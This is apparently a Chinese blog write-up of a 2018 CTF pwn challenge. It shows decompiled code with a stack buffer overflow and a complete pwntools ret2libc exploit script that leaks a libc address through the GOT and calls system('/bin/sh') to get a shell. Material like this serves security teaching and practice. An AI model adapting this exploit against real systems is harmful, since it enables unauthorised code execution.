铁人三项(第五赛区)_2018_rop

题目链接:铁人三项(第五赛区)_2018_rop

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1, "Hello, World\n", 0xDu);
}

其中 vulnerable_function 函数如下。

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+10h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

解题思路:

  1. 在 vulnerable_function 函数中存在栈溢出。
  2. 栈溢出,执行 write 函数打印 GOT 表,泄露 LIBC 基址。
  3. 调用 LIBC 中的 sysmtem 函数获取 Shell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:080483C0 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)
    s((0xFFFFD40C - 0xFFFFD380) * b'a' + \
      p32(ELF_FILE.plt['write']) + \
        p32(0x080483C0) + \
            p32(0x1) + p32(ELF_FILE.got['read']) + p32(0x4)\
                )
    
    LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['read']
    leak('LIBC_ADDR', LIBC_ADDR)

    s((0xFFFFD40C - 0xFFFFD380) * b'a' + \
      p32(LIBC_ADDR + LIBC_FILE.symbols['system']) + \
        p32(0x080483C0) + \
            p32(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh\x00")))\
                )
    
    irt()

pwn()
posted @ 2025-09-06 13:09  imtaieee  阅读(12)  评论(0)    收藏  举报